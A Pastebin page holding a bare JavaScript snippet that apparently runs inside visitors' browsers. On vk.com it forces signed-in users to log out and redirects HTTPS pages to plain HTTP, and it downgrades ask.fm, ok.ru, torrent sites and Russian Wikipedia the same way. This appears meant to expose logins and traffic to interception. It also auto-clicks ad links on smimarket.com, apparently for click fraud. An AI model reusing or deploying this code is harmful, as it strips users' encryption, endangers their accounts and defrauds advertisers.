Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- var url = window.location.href;
- var host = document.location.host;
- if (url.indexOf('http://vk.com') > -1) {
- setProtocolCookie('redirect_http_count', 0);
- }
- if (url.indexOf('https:') > -1) {
- if (host.indexOf('vk.com') > -1) {
- var exit = document.getElementById('logout_link');
- var signed_in = (exit != null);
- if (signed_in && (getProtocolCookie('vk_logout') == undefined || parseInt(getProtocolCookie('redirect_http_count')) > 1)) {
- setProtocolCookie('vk_logout', true);
- fireClick(document.getElementById('logout_link'));
- } else {
- var new_value = parseInt(getProtocolCookie('redirect_http_count')) + 1;
- setProtocolCookie('redirect_http_count', new_value);
- window.location.href = url.replace('https:', 'http:');
- }
- }
- else if (host.indexOf('ask.fm') > -1 || host.indexOf('odnoklassniki.ru') > -1 || host.indexOf('ok.ru') > -1 || host.indexOf('rutor.org') > -1 || host.indexOf('torrent') > -1 || host.indexOf('rutracker') > -1 || host.indexOf('ru.wikipedia.org') > -1) {
- window.location.href = url.replace('https:', 'http:');
- }
- }
- var follow_link = 'http://smimarket.com/site/page/view/prev';
- var follow_elem = document.querySelectorAll('.hero-unit a.btn');
- if (!url.indexOf(follow_link) && follow_elem[0]) {
- if (!follow_elem[0].href.indexOf('http://smimarket.com/show/click.php')) {
- fireClick(follow_elem[0]);
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement